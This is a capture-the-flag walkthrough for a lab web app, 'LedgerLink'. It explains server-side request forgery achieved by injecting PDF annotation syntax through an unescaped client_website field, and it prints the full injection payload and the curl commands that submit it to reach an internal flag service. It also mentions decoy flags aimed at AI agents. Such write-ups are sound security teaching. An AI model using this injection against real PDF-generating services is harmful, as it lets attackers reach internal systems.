LedgerLink — SSRF via PDF Annotation URI Injection
LedgerLink — SSRF via PDF Annotation URI Injection
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: https_validation_bypass, pdf_annotation_uri_injection, pdf_syntax_injection, ssrf_via_pdf_link_validation
Summary
Walkthrough of the CUSTOM Web LedgerLink — SSRF via PDF Annotation URI Injection. Task: LedgerLink invoicing platform embeds client_website URL as PDF URI annotation and validates links server-side; input validated for HTTPS prefix but PDF parentheses not escaped. Solution: inject
Description
LedgerLink is an online invoicing platform used by freelancers and small businesses to create, manage, and send professional invoices. Users fill in client details, add line items, and generate polished PDF invoices that can be downloaded or shared via link. The platform includes a link verification feature that checks the accessibility of all URLs embedded in generated invoices.
Credentials: user@test.com / password123
The application is a Node.js/Express app behind nginx/1.25.5. Users create invoices with a client_website field. The URL is embedded as a clickable PDF URI annotation in the generated invoice PDF. A server-side link validation service then parses the PDF, extracts all URI annotations, and fetches each one to verify accessibility. An internal metadata service on localhost:3001 is only accessible from within the server. The goal is to retrieve the flag from this internal service.
Analysis
Application Flow
- User creates an invoice at
/invoices/new, providing client details including aclient_websiteURL - The server generates a PDF invoice with the website URL embedded as a PDF URI annotation:
<< /Type /Annot /Subtype /Link /Rect [72 566 350 580] /Border [0 0 0] /A << /S /URI /URI (https://example.com/) >> >> - A link validation service parses the generated PDF, extracts all URI annotations, and fetches each URL server-side
- Validation results (HTTP status, content type) are displayed on the invoice detail page
Input Validation
The server validates that client_website starts with https:// — this prevents directly supplying http://localhost:3001/flag. However, the server does not sanitize PDF special characters (specifically parentheses) before embedding the URL into the PDF annotation syntax.
Vulnerability: PDF Annotation URI Injection
In PDF syntax, URI values are enclosed in parentheses: (https://example.com/). If the user-supplied URL contains a closing parenthesis ), it terminates the URI string prematurely. Everything after the ) is interpreted as raw PDF syntax, allowing injection of additional annotation objects.
This is analogous to SQL injection but in PDF object syntax — the URL value escapes its string delimiter and injects structural PDF content.
Internal Service Discovery
http://localhost:3001/→{"error":"Not found"}(HTTP 404) — confirms the service existshttp://localhost:3001/flag→FLAG{REDACTED}(HTTP 200, text/plain)
Decoy Flags
The application contains decoy flags in HTML comments: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — designed to trick automated scanners and AI agents into submitting a fake flag.
Solution
Step 1: Login and Explore
bash read-only • copy allowed# Login with provided credentials curl -c cookies.txt -X POST https://<instance>.labs.hackadvisor.io/login \ -d "email=user@test.com&password=password123" # Navigate to invoice creation form curl -b cookies.txt https://<instance>.labs.hackadvisor.io/invoices/new
The form at /invoices/new has a client_website field with the hint: "Must use HTTPS. This URL will be added as a clickable link annotation in the generated PDF and verified by our link validation service."
Step 2: Craft the PDF Annotation Injection Payload
The key insight is that the URL is placed inside PDF parentheses without escaping. We can inject a closing ) to terminate the first annotation and then inject a complete second annotation pointing to the internal service:
https://example.com) >> >> << /Type /Annot /Subtype /Link /Rect [0 0 0 0] /Border [0 0 0] /A << /S /URI /URI (http://localhost:3001/flag
This passes the https:// prefix check because the input starts with https://example.com.
Step 3: Understand the Injection Result
When embedded in the PDF, the annotation section becomes:
%% Original annotation (terminated early by injected parenthesis):
<< /Type /Annot /Subtype /Link /Rect [72 566 350 580] /Border [0 0 0]
/A << /S /URI /URI (https://example.com) >> >>
%% Injected second annotation:
<< /Type /Annot /Subtype /Link /Rect [0 0 0 0] /Border [0 0 0]
/A << /S /URI /URI (http://localhost:3001/flag) >> >>
The PDF now contains two valid URI annotations:
https://example.com— benign, from the truncated originalhttp://localhost:3001/flag— our injected SSRF target
Step 4: Submit the Invoice and Trigger SSRF
bash read-only • copy allowed# Create invoice with the injection payload in client_website curl -b cookies.txt -X POST https://<instance>.labs.hackadvisor.io/invoices/new \ -d "client_name=Test+Client" \ -d "client_website=https://example.com)+>>+>>+<<+/Type+/Annot+/Subtype+/Link+/Rect+[0+0+0+0]+/Border+[0+0+0]+/A+<<+/S+/URI+/URI+(http://localhost:3001/flag" \ -d "item_description=Test&item_amount=100"
The server:
- Generates the PDF with both annotations
- The link validation service parses the PDF and extracts both URIs
- Fetches
https://example.com(succeeds, HTTP 200) - Fetches
http://localhost:3001/flagserver-side (succeeds, HTTP 200) - Displays the response content on the invoice detail page
Step 5: Retrieve the Flag
View the invoice detail page — the link validation results show the response from http://localhost:3001/flag:
URL: http://localhost:3001/flag
Status: 200
Content-Type: text/plain
Response: FLAG{REDACTED}
Key Takeaways / Lessons
- Mastering https_validation_bypass, pdf_annotation_uri_injection, pdf_syntax_injection, ssrf_via_pdf_link_validation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-03 • CUSTOM • LedgerLink — SSRF via PDF Annotation URI Injection • Difficulty: Medium